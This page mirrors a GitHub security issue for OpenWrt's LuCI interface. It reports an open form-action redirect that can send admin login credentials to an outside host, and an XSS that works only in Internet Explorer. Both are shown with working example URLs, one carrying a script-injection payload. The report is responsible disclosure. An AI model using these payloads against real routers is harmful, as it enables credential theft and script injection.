question-mark
Stuck on an issue?

Lightrun Answers was designed to reduce the constant googling that comes with debugging 3rd party libraries. It collects links to all the places you might be looking at while hunting down a tough bug.

And, if you’re still stuck at the end, we’re happy to hop on a call to see how we can help out.

Possible to change form post URL for the login page - potential leak of admin credentials

See original GitHub issue

By adding an extra / after the beginning of that path the login form will submitted to a third party web site.

Example: http://192.168.56.2//httpbin.org/anything/..%2f..%2f/cgi-bin/luci/

Resulting HTML: <form method="post" action="//httpbin.org/anything/…%2f…%2f/cgi-bin/luci/">

The URL is reflected in the response. An attacker can use this to trick an admin to submitting the username and password to an attacker-controlled website. Modern browsers will likely make this hard to exploit especially since #1343 was introduced.

A possible solution should be to make sure the form action URL always starts with a leading . before the first /.

Side note:

Another attack (XSS) that only works in Internet Explorer. http://192.168.56.2//192.168.56.2/..%2f/cgi-bin/luci/?iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii<script>alert(1)</script>

IE does not encode < and > in the query string (as opposed to FF/Chrome) and because the form is submitted from the same domain, the XSS filter in IE doesn’t block the XSS attack.

Verified on:

Powered by LuCI Master (git-18.088.49307-90ed423) / OpenWrt SNAPSHOT r6567-db893ec

Let me know if there is another preferred method of reporting security issues.

Issue Analytics

  • State:closed
  • Created 5 years ago
  • Comments:5 (3 by maintainers)

github_iconTop GitHub Comments

1reaction
jow-commented, Apr 4, 2018

Then this XSS issue is unrelated to LuCI and needs to be fixed in uhttpd instead.

0reactions
macintorstencommented, Apr 12, 2018

Seems to working now. I’m closing.

Read more comments on GitHub >

github_iconTop Results From Across the Web

Your login form posts to HTTPS, but you blew it ... - Troy Hunt
I'm calling out these simply because they're high-profile sites yet they all load the login forms over HTTP and post to HTTPS. Why...
Read more >
Login Bypass - HackTricks
Bypass regular login. If you find a login page, here you can find some techniques to try to bypass it: Check for comments...
Read more >
Good Practices for Capability URLs - W3C
Capability URLs grant access to a resource to anyone who has the URL. There are times when this is useful, for example one-shot...
Read more >
How to Embed Login Credentials into a URL | Admin Tasks
This article will show you how to embed login credentials into a url. Why would you want to do this? Here is an...
Read more >
Responding to a Compromised Email Account - Office 365
Learn how to recognize and respond to a compromised email account using tools available in Microsoft 365.
Read more >

github_iconTop Related Medium Post

No results found

github_iconTop Related StackOverflow Question

No results found

github_iconTroubleshoot Live Code

Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free

github_iconTop Related Reddit Thread

No results found

github_iconTop Related Hackernoon Post

No results found

github_iconTop Related Tweet

No results found

github_iconTop Related Dev.to Post

No results found

github_iconTop Related Hashnode Post

No results found